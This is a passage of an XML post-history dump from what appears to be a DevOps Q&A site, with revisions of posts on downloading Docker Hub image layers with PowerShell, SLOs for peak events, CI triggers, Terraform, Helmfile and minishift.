https://jenkins.io/doc/book/pipeline/syntax/#when" ContentLicense="CC BY-SA 4.0" />
  <row Id="21200" PostHistoryTypeId="5" PostId="6666" RevisionGUID="026fbe71-0f4b-43d1-9081-67f3c4d06258" CreationDate="2019-03-22T07:27:05.043" UserId="12985" Comment="code is copied; deleted 1471 characters in body" Text="thanks for motivation.&#xD;&#xA;I made a powershell version of it.&#xD;&#xA;Check it out...&#xD;&#xA;With it you can move in dockerhub containers to a restricted docker networks with a stupid windows desktop and an ssh-scp tool to docker machine without root or administrator rights&#xD;&#xA;&#xD;&#xA;https://gitlab.com/Jancsoj78/dockerless_docker_downloader&#xD;&#xA;a new hacker tool :)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21204" PostHistoryTypeId="5" PostId="6666" RevisionGUID="48fe09fd-da90-4a03-b759-545425ba6894" CreationDate="2019-03-22T12:00:59.903" UserId="12985" Comment="code copied" Text="thanks for motivation.&#xD;&#xA;I made a powershell version of it.&#xD;&#xA;Check it out...&#xD;&#xA;With it you can move in dockerhub containers to a restricted docker networks with a windows desktop and an ssh-scp tool to docker machine without root or administrator rights&#xD;&#xA;&#xD;&#xA;https://gitlab.com/Jancsoj78/dockerless_docker_downloader&#xD;&#xA;a new hacker tool :)&#xD;&#xA;&#xD;&#xA;    $image = &quot;ubuntu&quot;&#xD;&#xA;    $tag = &quot;latest&quot;&#xD;&#xA;    $imageuri = &quot;https://auth.docker.io/token?service=registry.docker.io&amp;scope=repository:library/&quot;+$image+&quot;:pull&quot;&#xD;&#xA;    $taguri = &quot;https://registry-1.docker.io/v2/library/&quot;+$image+&quot;/manifests/&quot;+$tag&#xD;&#xA;    $bloburi = &quot;https://registry-1.docker.io/v2/library/&quot;+$image+&quot;/blobs/sha256:&quot;&#xD;&#xA;    &#xD;&#xA;    #token request&#xD;&#xA;    $token = Invoke-WebRequest -Uri $imageuri | ConvertFrom-Json | Select -expand token&#xD;&#xA;    &#xD;&#xA;    #pull image manifest&#xD;&#xA;    $blobs = $($(Invoke-Webrequest -Headers @{Authorization=&quot;Bearer $token&quot;} -Method GET -Uri $taguri | ConvertFrom-Json | Select -expand fsLayers ) -replace &quot;sha256:&quot; -replace &quot;@{blobSum=&quot; -replace &quot;}&quot;)&#xD;&#xA;    &#xD;&#xA;    #download blobs&#xD;&#xA;    for ($i=0; $i -lt $blobs.length; $i++) {&#xD;&#xA;        $blobelement =$blobs[$i]&#xD;&#xA;       &#xD;&#xA;        Invoke-Webrequest -Headers @{Authorization=&quot;Bearer $token&quot;} -Method GET -Uri $bloburi$blobelement -OutFile blobtmp&#xD;&#xA;        &#xD;&#xA;        $source = &quot;blobtmp&quot;&#xD;&#xA;        $newfile = &quot;$blobelement.gz&quot;&#xD;&#xA;    &#xD;&#xA;    #overwrite&#xD;&#xA;    Copy-Item $source $newfile -Force -Recurse&#xD;&#xA;    #source blobs&#xD;&#xA;    ls *.gz&#xD;&#xA;    }&#xD;&#xA;    #postprocess&#xD;&#xA;    echo &quot;copy these .gz to your docker machine&quot;&#xD;&#xA;    echo &quot;docker import .gz backward&quot;&#xD;&#xA;    echo &quot;lastone with ubuntu:latest&quot;&#xD;&#xA;    echo &quot;after docker export and reimport to make a simple layer image&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21205" PostHistoryTypeId="2" PostId="6681" RevisionGUID="0648aa5c-4eb7-4f4e-b237-ee90c075c082" CreationDate="2019-03-22T19:38:16.430" UserId="12314" Text="Special events such as BFCM (Black Friday / Cyber Monday)." ContentLicense="CC BY-SA 4.0" />
  <row Id="21206" PostHistoryTypeId="1" PostId="6681" RevisionGUID="0648aa5c-4eb7-4f4e-b237-ee90c075c082" CreationDate="2019-03-22T19:38:16.430" UserId="12314" Text="How do you write an SLO for a service when higher reliability is needed only during special events?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21207" PostHistoryTypeId="3" PostId="6681" RevisionGUID="0648aa5c-4eb7-4f4e-b237-ee90c075c082" CreationDate="2019-03-22T19:38:16.430" UserId="12314" Text="&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21208" PostHistoryTypeId="5" PostId="6666" RevisionGUID="c641e242-a3e4-4f20-9bac-a391cb944662" CreationDate="2019-03-22T19:46:14.327" UserId="12985" Comment="on by one added" Text="thanks for motivation.&#xD;&#xA;I made a powershell version of it.&#xD;&#xA;Check it out...&#xD;&#xA;With it you can move in dockerhub containers to a restricted docker networks with a windows desktop and an ssh-scp tool to docker machine without root or administrator rights&#xD;&#xA;&#xD;&#xA;https://gitlab.com/Jancsoj78/dockerless_docker_downloader&#xD;&#xA;a new hacker tool :)&#xD;&#xA;&#xD;&#xA;    $image = &quot;ubuntu&quot;&#xD;&#xA;    $tag = &quot;latest&quot;&#xD;&#xA;    $imageuri = &quot;https://auth.docker.io/token?service=registry.docker.io&amp;scope=repository:library/&quot;+$image+&quot;:pull&quot;&#xD;&#xA;    $taguri = &quot;https://registry-1.docker.io/v2/library/&quot;+$image+&quot;/manifests/&quot;+$tag&#xD;&#xA;    $bloburi = &quot;https://registry-1.docker.io/v2/library/&quot;+$image+&quot;/blobs/sha256:&quot;&#xD;&#xA;    &#xD;&#xA;    #token request&#xD;&#xA;    $token = Invoke-WebRequest -Uri $imageuri | ConvertFrom-Json | Select -expand token&#xD;&#xA;    &#xD;&#xA;    #pull image manifest&#xD;&#xA;    $blobs = $($(Invoke-Webrequest -Headers @{Authorization=&quot;Bearer $token&quot;} -Method GET -Uri $taguri | ConvertFrom-Json | Select -expand fsLayers ) -replace &quot;sha256:&quot; -replace &quot;@{blobSum=&quot; -replace &quot;}&quot;)&#xD;&#xA;    &#xD;&#xA;    #download blobs&#xD;&#xA;    for ($i=0; $i -lt $blobs.length; $i++) {&#xD;&#xA;        $blobelement =$blobs[$i]&#xD;&#xA;       &#xD;&#xA;        Invoke-Webrequest -Headers @{Authorization=&quot;Bearer $token&quot;} -Method GET -Uri $bloburi$blobelement -OutFile blobtmp&#xD;&#xA;        &#xD;&#xA;        $source = &quot;blobtmp&quot;&#xD;&#xA;        $newfile = &quot;$blobelement.gz&quot;&#xD;&#xA;    &#xD;&#xA;    #overwrite&#xD;&#xA;    Copy-Item $source $newfile -Force -Recurse&#xD;&#xA;    #source blobs&#xD;&#xA;    ls *.gz&#xD;&#xA;    }&#xD;&#xA;    #postprocess&#xD;&#xA;    echo &quot;copy these .gz to your docker machine&quot;&#xD;&#xA;    echo &quot;docker import .gz backward one by one&quot;&#xD;&#xA;    echo &quot;lastone with ubuntu:latest&quot;&#xD;&#xA;    echo &quot;after docker export and reimport to make a simple layer image&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21209" PostHistoryTypeId="2" PostId="6682" RevisionGUID="1ba4f593-f5f2-40df-96d6-d6c7cc31440e" CreationDate="2019-03-22T20:01:39.033" UserId="397" Text="I want to automate the build of a [Chocolatey][1] package every time an author creates a new GitHub release.  The specific example I am talking about is the [HIBPOfflineCheck][2] plugin for KeyPass2, but it could in practice be any software that is hosted on GitHub and uses the Release feature. &#xD;&#xA;&#xD;&#xA;The flow I am looking to implement looks something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;       [ author of the package commits changes to GitHub ]&#xD;&#xA;&#xD;&#xA;                            |&#xD;&#xA;                            V&#xD;&#xA;&#xD;&#xA;  [ author creates a new release, could be manual or automated ]&#xD;&#xA;&#xD;&#xA;                            |&#xD;&#xA;                            V&#xD;&#xA;&#xD;&#xA;              [ my CI build is triggered ]&#xD;&#xA;&#xD;&#xA;                            |&#xD;&#xA;                            V&#xD;&#xA;&#xD;&#xA;        [ publish the new chocolaty package to chocolaty ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Conceivably I could create a pull request against the original repository. However, that has some issues:&#xD;&#xA;&#xD;&#xA; 1. It requires the original author to take over responsibility for maintaining a chocolatey package; they may have no interest in managing.&#xD;&#xA; 2. Their CI system may be incapable of generating and publishing the package.&#xD;&#xA; 3. They may not have the knowledge required to configure Chocolatey API keys etc.&#xD;&#xA;&#xD;&#xA;Triggering CI based upon a new GitHub release is possible in [Concourse CI][3], so it's not an original thought.  However, Concourse is not a SaaS product.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://chocolatey.org/&#xD;&#xA;  [2]: https://github.com/mihaifm/HIBPOfflineCheck&#xD;&#xA;  [3]: https://concourse-ci.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="21210" PostHistoryTypeId="1" PostId="6682" RevisionGUID="1ba4f593-f5f2-40df-96d6-d6c7cc31440e" CreationDate="2019-03-22T20:01:39.033" UserId="397" Text="Trigger SaaS CI Build (i.e. CircleCI, AppVeyor or Travis) based upon a GitHub Release of a 3ʳᵈ Party Repository" ContentLicense="CC BY-SA 4.0" />
  <row Id="21211" PostHistoryTypeId="3" PostId="6682" RevisionGUID="1ba4f593-f5f2-40df-96d6-d6c7cc31440e" CreationDate="2019-03-22T20:01:39.033" UserId="397" Text="&lt;github&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21217" PostHistoryTypeId="5" PostId="6302" RevisionGUID="646ca304-4899-4fe1-8775-fd11a119dbb7" CreationDate="2019-03-23T06:09:38.693" UserId="6619" Comment="cleaned up . typos" Text="If i understand your need:&#xD;&#xA;&#xD;&#xA; - Need Infrastructure as Code&#xD;&#xA; - Configuration management&#xD;&#xA;&#xD;&#xA;Terraform is a great tool for creating your infrastructure. It has API support for AWS, GCP and almost all the cloud providers. Now that your infrastructure is ready, you need to configure the same using tools like (CHEF, Ansible or Puppet). I have personally bootstrapped the nodes created by Terraform to CHEF and have run cookbooks." ContentLicense="CC BY-SA 4.0" />
  <row Id="21218" PostHistoryTypeId="24" PostId="6302" RevisionGUID="646ca304-4899-4fe1-8775-fd11a119dbb7" CreationDate="2019-03-23T06:09:38.693" Comment="Proposed by 6619 approved by -1 edit id of 958" ContentLicense="CC BY-SA 4.0" />
  <row Id="21219" PostHistoryTypeId="5" PostId="6302" RevisionGUID="5003f811-bf6a-44b4-96f9-6f50e81cdef7" CreationDate="2019-03-23T06:09:38.693" UserId="40" Comment="added 2 characters in body" Text="If I understand your need:&#xD;&#xA;&#xD;&#xA; - Need Infrastructure as Code.&#xD;&#xA; - Configuration management.&#xD;&#xA;&#xD;&#xA;Terraform is a great tool for creating your infrastructure. It has API support for AWS, GCP and almost all the cloud providers. Now that your infrastructure is ready, you need to configure the same using tools like (CHEF, Ansible or Puppet). I have personally bootstrapped the nodes created by Terraform to CHEF and have run cookbooks." ContentLicense="CC BY-SA 4.0" />
  <row Id="21220" PostHistoryTypeId="2" PostId="6683" RevisionGUID="ae7a4258-323e-459c-8116-4dc6066525ab" CreationDate="2019-03-23T06:36:39.393" UserId="12833" Text="Here two parts: use IaC tools like Terraform to create environments and use Docker to deploy applications. &#xD;&#xA;&#xD;&#xA;1) You can use Terraform with workspaces to make production and development. Maybe use Packer to prepare AMI images to reduce time for building.&#xD;&#xA;&#xD;&#xA;2) Decide what CI/CD pipeline you will use to deploy apps. And first of all here you should know what orchestration tool you will use for Docker containers - compose, swarm, nomad, kubernetes." ContentLicense="CC BY-SA 4.0" />
  <row Id="21221" PostHistoryTypeId="2" PostId="6684" RevisionGUID="2e8a7570-b98f-41f2-92af-d676cb7f2d6b" CreationDate="2019-03-23T22:51:17.280" UserId="10599" Text="I have made the scripts and tools that we use to solve these problems opensource on GitHub calling it [OCD][1]. You mention that you have thought the following feels wrong:&#xD;&#xA;&#xD;&#xA;&gt; 1. Store all the environment configurations in separate &quot;configurations&quot; git repo&#xD;&#xA;&#xD;&#xA;&gt; 3. Use ansible or something similar to store the scripts and configurations for each environment.&#xD;&#xA;&#xD;&#xA;With OCD we use [Helmfile][2] which makes it easy to manage many helm release in a single simple yaml file. If you are familiar with Ansible then it gives all the benefits of that tool but it only manages helm releases. It makes total sense to put the `helmfile.yml` configuration into Git. These act as the playbooks to setup your environment. They shouldn't live in the application repos it should be in one or more &quot;environments repo(s)&quot;.&#xD;&#xA;&#xD;&#xA;We have created a generic chart to install secrets and another to install configmaps. Your folder structure might look like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;|____config&#xD;&#xA;| |____nexmo.yaml.secret // &lt;- gpg encrypted secret&#xD;&#xA;| |____reepay.yaml.secret&#xD;&#xA;| |____backoffice-db.yaml.secret&#xD;&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 3 secret releases and inline configmaps&#xD;&#xA;|____backoffice-app&#xD;&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 1 app&#xD;&#xA;|____frontoffice-app&#xD;&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 1 app&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the above example, we have three helmfiles. There is one that manages shared configuration and one each for two apps that use the shared config. Since shared config is going to be multipe secret and configmaps it just uses the two generic charts. It uses the generic secret chart to stamp out many separately encrypted secrets using different values files. Likewise, one generic configmap chart is used to stamp out many configmaps by feeding it different values. &#xD;&#xA;&#xD;&#xA;With OCD you setup webhooks on your config repo to point at an [adnanh/webhook][3]. When you push a change to the config repo the webhook fires. The webhook runs a script to checkout the config repo, decrypt the secrets, then does `helmfile apply` in each folder that has a `helmfile.yaml`. That does a helm diff on every release in each helmfile and so will upgrade any secrets, configmaps or application deployments where the yaml has changed. &#xD;&#xA;&#xD;&#xA;We have a wizard script to install the webhook into a new environment. This means that a team can spin up a new environment using the config in git quickly. Since it is loading the config from git it is an accurate process. Here is a video of [setting up a new environment in six minutes][4] which would be quicker if I was not making a video. &#xD;&#xA;&#xD;&#xA;We happen to be using openshift kubernetes so our application deployment chart for microservices uses openshift specific yaml. Yet the secrets and configmaps charts are vanilla k8s. So the OCD approach and scripts to manage config should work with any k8s distro. We plan to have a 1.0 release of OCD in the next couple of weeks. I was considering doing a demo of running OCD on vanilla k8s to manage configuration. So I would be really interested in your thoughts and perhaps we can collaborate. Just raise an issue on the ocd-meta github asking about running it on the version of k8s you are using. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xD;&#xA;  [2]: https://github.com/roboll/helmfile&#xD;&#xA;  [3]: https://github.com/adnanh/webhook&#xD;&#xA;  [4]: https://vimeo.com/manage/318887046/general" ContentLicense="CC BY-SA 4.0" />
  <row Id="21222" PostHistoryTypeId="5" PostId="6684" RevisionGUID="2eb59762-5b65-49b7-bd0e-e8d7c25cdcfa" CreationDate="2019-03-23T23:02:29.653" UserId="10599" Comment="addressed specific challenge" Text="I have made the scripts and tools that we use to solve these problems opensource on GitHub calling it [OCD][1]. You mention that you have thought the following feels wrong:&#xD;&#xA;&#xD;&#xA;&gt; 1. Store all the environment configurations in separate &quot;configurations&quot; git repo&#xD;&#xA;&#xD;&#xA;&gt; 3. Use ansible or something similar to store the scripts and configurations for each environment.&#xD;&#xA;&#xD;&#xA;With OCD we use [Helmfile][2] which makes it easy to manage many helm release in a single simple yaml file. If you are familiar with Ansible then it gives all the benefits of that tool but it only manages helm releases. It makes total sense to put the `helmfile.yml` configuration into Git. These act as the playbooks to setup your environment. They shouldn't live in the application repos it should be in one or more &quot;environments repo(s)&quot;.&#xD;&#xA;&#xD;&#xA;We have created a generic chart to install secrets and another to install configmaps. Your folder structure might look like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;|____config&#xD;&#xA;| |____nexmo.yaml.secret // &lt;- gpg encrypted secret&#xD;&#xA;| |____reepay.yaml.secret&#xD;&#xA;| |____backoffice-db.yaml.secret&#xD;&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 3 secret releases and inline configmaps&#xD;&#xA;|____backoffice-app&#xD;&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 1 app&#xD;&#xA;|____frontoffice-app&#xD;&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 1 app&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the above example, we have three helmfiles. There is one that manages shared configuration and one each for two apps that use the shared config. Since shared config is going to be multipe secret and configmaps it just uses the two generic charts. It uses the generic secret chart to stamp out many separately encrypted secrets using different values files. Likewise, one generic configmap chart is used to stamp out many configmaps by feeding it different values. &#xD;&#xA;&#xD;&#xA;With OCD you setup webhooks on your config repo to point at an [adnanh/webhook][3]. When you push a change to the config repo the webhook fires. The webhook runs a script to checkout the config repo, decrypt the secrets, then does `helmfile apply` in each folder that has a `helmfile.yaml`. That does a helm diff on every release in each helmfile and so will upgrade any secrets, configmaps or application deployments where the yaml has changed. &#xD;&#xA;&#xD;&#xA;We have a wizard script to install the webhook into a new environment. This means that a team can spin up a new environment using the config in git quickly. Since it is loading the config from git it is an accurate process. Here is a video of [setting up a new environment in six minutes][4] which would be quicker if I was not making a video. &#xD;&#xA;&#xD;&#xA;Helmfile reduces the burden of having to go through all the files to try to find all the settings to change for a new team environment. The `helmfile.yaml` captures whatever you are overriding over the chart defaults. All the configmaps and secrets are organised to be easily found in one place. Helmfile has quite a lot of capabilities that make managing config and managing many helm releases easier.  &#xD;&#xA;&#xD;&#xA;We happen to be using openshift kubernetes so our application deployment chart for microservices uses openshift specific yaml. Yet the secrets and configmaps charts are vanilla k8s. So the OCD approach and scripts to manage config should work with any k8s distro. We plan to have a 1.0 release of OCD in the next couple of weeks. I was considering doing a demo of running OCD on vanilla k8s to manage configuration. So I would be really interested in your thoughts and perhaps we can collaborate. Just raise an issue on the ocd-meta github asking about running it on the version of k8s you are using. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xD;&#xA;  [2]: https://github.com/roboll/helmfile&#xD;&#xA;  [3]: https://github.com/adnanh/webhook&#xD;&#xA;  [4]: https://vimeo.com/manage/318887046/general" ContentLicense="CC BY-SA 4.0" />
  <row Id="21225" PostHistoryTypeId="5" PostId="6684" RevisionGUID="fbc05126-d5f1-425f-847a-50588156b31b" CreationDate="2019-03-24T07:59:11.237" UserId="10599" Comment="added 193 characters in body; deleted 2 characters in body; deleted 1 character in body; added 23 characters in body; deleted 1 character in body" Text="I have made the scripts and tools that we use to solve these problems opensource on GitHub calling it [OCD][1]. You mention that you have thought the following feels wrong:&#xD;&#xA;&#xD;&#xA;&gt; * Store all the environment configurations in separate &quot;configurations&quot; git repo&#xA;&#xD;&#xA;&gt; * Use ansible or something similar to store the scripts and configurations for each environment.&#xD;&#xA;&#xD;&#xA;With OCD we use [Helmfile][2] which makes it easy to manage many helm release in either one of a small number of simple yaml file. If you are familiar with Ansible then it gives all the benefits of that tool but it only manages helm releases. It makes total sense to put the `helmfile.yml` configuration into Git. These act as the playbooks to setup your environment. They shouldn't live in the application repos it should be in one or more &quot;environments repo(s)&quot;.&#xD;&#xA;&#xD;&#xA;We have created a generic chart to install secrets and another to install configmaps. Your folder structure might look like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;|____config&#xD;&#xA;| |____nexmo.yaml.secret // &lt;- gpg encrypted secret&#xD;&#xA;| |____reepay.yaml.secret&#xD;&#xA;| |____backoffice-db.yaml.secret&#xD;&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 3 secret releases and inline configmaps&#xD;&#xA;|____backoffice-app&#xD;&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 1 app&#xD;&#xA;|____frontoffice-app&#xD;&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 1 app&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the above example, we have three helmfiles. There is one that manages shared configuration and one each for two apps that use the shared config. Since shared config is going to be multipe secret and configmaps it just uses the two generic charts. It uses the [generic secret chart][3] to stamp out many separately [encrypted secrets][4] using different values files. Likewise, one [generic configmap chart][5] is used to stamp out many configmaps by feeding it different values.&#xD;&#xA;&#xD;&#xA;With OCD you setup webhooks on your config repo to point at an [adnanh/webhook][6]. When you push a change to the config repo the webhook fires. The webhook runs a script to checkout the config repo, decrypt the secrets, then does `helmfile apply` in each folder that has a `helmfile.yaml`. That does a helm diff on every release in each helmfile and so will upgrade any secrets, configmaps or application deployments where the yaml has changed. &#xD;&#xA;&#xD;&#xA;We have a wizard script to install the webhook into a new environment. This means that a team can spin up a new environment using the config in git quickly. Since it is loading the config from git it is an accurate process. Here is a video of [setting up a new environment in six minutes][7] which would be quicker if I was not making a video. &#xD;&#xA;&#xD;&#xA;Helmfile reduces the burden of having to go through all the files to try to find all the settings to change for a new team environment. The `helmfile.yaml` captures whatever you are overriding over the chart defaults. All the configmaps and secrets are organised to be easily found in one place. Helmfile has quite a lot of capabilities that make managing config and managing many helm releases easier.  &#xD;&#xA;&#xD;&#xA;We happen to be using openshift kubernetes so our application deployment chart for microservices uses openshift specific yaml. Yet the secrets and configmaps charts are vanilla k8s. So the OCD approach and scripts to manage config should work with any k8s distro. We plan to have a 1.0 release of OCD in the next couple of weeks. I was considering doing a demo of running OCD on vanilla k8s to manage configuration. So I would be really interested in your thoughts and perhaps we can collaborate. Just raise an issue on the ocd-meta github asking about running it on the version of k8s you are using. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xA;  [2]: https://github.com/roboll/helmfile&#xA;  [3]: https://github.com/ocd-scm/ocd-secret&#xA;  [4]: https://github.com/ocd-scm/ocd-meta/wiki/Encrypting-Secrets#introduction&#xA;  [5]: https://github.com/ocd-scm/ocd-configmap&#xA;  [6]: https://github.com/adnanh/webhook&#xA;  [7]: https://vimeo.com/manage/318887046/general" ContentLicense="CC BY-SA 4.0" />
  <row Id="21226" PostHistoryTypeId="5" PostId="6181" RevisionGUID="a6e70c86-9f37-4cdb-bfd6-e8adf7dc28fa" CreationDate="2019-03-24T13:46:55.887" UserId="10599" Comment="added 381 characters in body" Text="Welcome to the wonderful world of container orchestrators.&#xA;&#xA;I recommend you try minishift which is like minikube but the openshift distro of kubernetes that has more devops features. If you want to deploy Java Servlet apps you just use its built in catalog, supply it with your git repo, and it will checkout your code, build the app, create a container image, and deploy the it, with a route and URL you can access it. Yet you can create things from scratch the catalog is just creating all the necessary YAML. &#xA;&#xA;Helm is a package manager for Kubernetes it works with openshift extensions also. Helm tracks what your have installed and lets you rollback. The official chart repos have ready made charts to install databases and redis etc. I made a [generic chart][1] that runs any container on openshift kubernetes and we use it to install all our apps whether mode.js or php or whatever. It uses the same YAML as the built in templates use. &#xA;&#xA;When you want to install many charts then you can use [Helmfile][2]. Your Helmfile has all the yaml to install all your helm charts. The best feature is that it only modifies what changed. If you modify one setting in a Helmfile that configures many apps it will only update the one app. And let you see the prior versions of the k8s yaml of the apps store in k8s and lets you easily rollback to the last working state.&#xA;&#xA;I am making open source the stuff we run a business with as “[OCD][3]” where you change the config in git and a webook will run Helmfile to update your Kubernetes env. Here is the [minishift demo how-to][4]. &#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-deployer&#xA;  [2]: https://github.com/roboll/helmfile&#xA;  [3]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xA;  [4]: https://github.com/ocd-scm/ocd-meta/wiki/Minishift" ContentLicense="CC BY-SA 4.0" />
  <row Id="21227" PostHistoryTypeId="5" PostId="6181" RevisionGUID="a3668a86-2b62-4d56-bf00-6d2c128f548e" CreationDate="2019-03-24T14:07:54.113" UserId="10599" Comment="added 887 characters in body; added 165 characters in body" Text="Welcome to the wonderful world of container orchestrators. It is considered bad practice to install many apps into a single container. The new way of working is not to install an application server that runs many WAR files. The new way of deploying is to have each app be a self-contained container where your build tool (eg maven) packaged the servlet container and your app together into a single file. Then each container can be deployed to Kubernetes and independently scaled up and restarted. They can also have memory leaks and crash without effecting each other. &#xA;&#xA;One good example of that is [springboot][1] where in your pom.xml you can tell it to build an executable JAR. This will be large as it will include Tomcat into it. When you run the executable file it will launch java and Tomcat and bind to a port and run your app. You don't have to use springboot you can simply add the Tomcat or Jetty plugin to your maven project and have the container just launch &quot;mvn jetty:run&quot; or whatever. &#xA;&#xA;I recommend you try minishift which is like minikube but the openshift distro of kubernetes that has more devops features. If you want to deploy Java Servlet apps you just use its built in catalog, supply it with your git repo, and it will checkout your code, build the app, create a container image, and deploy the it, with a route and URL you can access it. Yet you can create things from scratch the catalog is just creating all the necessary YAML. &#xA;&#xA;Helm is a package manager for Kubernetes it works with openshift extensions also. Helm tracks what your have installed and lets you rollback. The official chart repos have ready made charts to install databases and redis etc. I made a [generic chart][2] that runs any container on openshift kubernetes and we use it to install all our apps whether mode.js or php or whatever. It uses the same YAML as the built in templates use. &#xA;&#xA;When you want to install many charts then you can use [Helmfile][3]. Your Helmfile has all the yaml to install all your helm charts. The best feature is that it only modifies what changed. If you modify one setting in a Helmfile that configures many apps it will only update the one app. And let you see the prior versions of the k8s yaml of the apps store in k8s and lets you easily rollback to the last working state.&#xA;&#xA;I am making open source the stuff we run a business with as “[OCD][4]” where you change the config in git and a webook will run Helmfile to update your Kubernetes env. Here is the [minishift demo how-to][5]. &#xA;&#xA;&#xA;  [1]: https://docs.spring.io/spring-boot/docs/current/reference/html/build-tool-plugins-maven-plugin.html&#xA;  [2]: https://github.com/ocd-scm/ocd-deployer&#xA;  [3]: https://github.com/roboll/helmfile&#xA;  [4]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xA;  [5]: https://github.com/ocd-scm/ocd-meta/wiki/Minishift" ContentLicense="CC BY-SA 4.0" />
  <row Id="21228" PostHistoryTypeId="5" PostId="6181" RevisionGUID="2c1d159d-e1cf-4f31-bec4-987e60de5569" CreationDate="2019-03-24T14:13:22.087" UserId="10599" Comment="added 241 characters in body" Text="Welcome to the wonderful world of container orchestrators. It is considered bad practice to install many apps into a single container. The new way of working is not to install an application server that runs many WAR files. The new way of deploying is to have each app be a self-contained container where your build tool (eg maven) packaged the servlet container and your app together into a single file. Then each container can be deployed to Kubernetes and independently scaled up and restarted. They can also have memory leaks and crash without effecting each other. &#xA;&#xA;One good example of that is [springboot][1] where in your pom.xml you can tell it to build an executable JAR. This will be large as it will include Tomcat into it. When you run the executable file it will launch java and Tomcat and bind to a port and run your app. You don't have to use springboot you can simply add the Tomcat or Jetty plugin to your maven project and have the container just launch &quot;mvn jetty:run&quot; or whatever. &#xA;&#xA;I recommend you try minishift which is like minikube but the openshift distro of kubernetes that has more devops features. If you want to deploy Java Servlet apps you just use its built in catalog, select &quot;Open JDK&quot; supply it with your git repo, and it will checkout your code, build the app, create a container image, and deploy the it, with a route and URL you can access it. Yet you can create things from scratch the catalog is just creating all the necessary YAML. Here is the [sample code][2] that you would use as your maven project that can be built and run by the &quot;Open JDK&quot; catalog.  &#xA;&#xA;Helm is a package manager for Kubernetes it works with openshift extensions also. Helm tracks what your have installed and lets you rollback. The official chart repos have ready made charts to install databases and redis etc. I made a [generic chart][3] that runs any container on openshift kubernetes and we use it to install all our apps whether mode.js or php or whatever. It uses the same YAML as the built in templates use. &#xA;&#xA;When you want to install many charts then you can use [Helmfile][4]. Your Helmfile has all the yaml to install all your helm charts. The best feature is that it only modifies what changed. If you modify one setting in a Helmfile that configures many apps it will only update the one app. And let you see the prior versions of the k8s yaml of the apps store in k8s and lets you easily rollback to the last working state.&#xA;&#xA;I am making open source the stuff we run a business with as “[OCD][5]” where you change the config in git and a webook will run Helmfile to update your Kubernetes env. Here is the [minishift demo how-to][6]. &#xA;&#xA;&#xA;  [1]: https://docs.spring.io/spring-boot/docs/current/reference/html/build-tool-plugins-maven-plugin.html&#xA;  [2]: https://github.com/jboss-openshift/openshift-quickstarts/tree/master/todolist/todolist-jdbc&#xA;  [3]: https://github.com/ocd-scm/ocd-deployer&#xA;  [4]: https://github.com/roboll/helmfile&#xA;  [5]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xA;  [6]: https://github.com/ocd-scm/ocd-meta/wiki/Minishift" ContentLicense="CC BY-SA 4.0" />
  <row Id="21229" PostHistoryTypeId="5" PostId="6181" RevisionGUID="729c1d1e-cef2-40e1-82b0-5d1bf175b3fb" CreationDate="2019-03-24T14:22:29.690" UserId="10599" Comment="added 348 characters in body; added 9 characters in body" Text="Welcome to the wonderful world of container orchestrators. It is considered bad practice to install many apps into a single container. The new way of working is not to install an application server that runs many WAR files. The new way of deploying is to have each app be a self-contained container where your build tool (eg maven) packaged the servlet container and your app together into a single file. Then each container can be deployed to Kubernetes and independently scaled up and restarted. They can also have memory leaks and crash without effecting each other. &#xA;&#xA;One good example of that is [springboot][1] where in your pom.xml you can tell it to build an executable JAR. This will be large as it will include Tomcat into it. When you run the executable file it will launch java and Tomcat and bind to a port and run your app. You don't have to use springboot you can simply add the Tomcat or Jetty plugin to your maven project and have the container just launch &quot;mvn jetty:run&quot; or &quot;mvn tomcat7:run&quot;. &#xA;&#xA;I recommend you try minishift which is like minikube but the openshift distro of kubernetes that has more devops features. If you want to deploy Java Servlet apps you just use its built in catalog, select &quot;Open JDK&quot; supply it with your git repo, and it will checkout your code, build the app with maven, create a container image, and deploy the it, with a route and URL you can access it. Yet you can create things from scratch the catalog is just creating all the necessary YAML. Here is the [sample code][2] that you would use as your maven project that can be built and run by the &quot;Open JDK&quot; catalog. The  pom.xml shows that when the code is built with `mvn -P openshift package` it puts the war file into a deployments folder and jboss will run it when the container is started. If you don't like jboss then you can add a `.s2i/bin/run` script that starts your compiled application another way (e.g. &quot;mvn jetty:run&quot; or &quot;mvn tomcat 7:run&quot;)&#xA;&#xA;Helm is a package manager for Kubernetes it works with openshift extensions also. Helm tracks what your have installed and lets you rollback. The official chart repos have ready made charts to install databases and redis etc. I made a [generic chart][3] that runs any container on openshift kubernetes 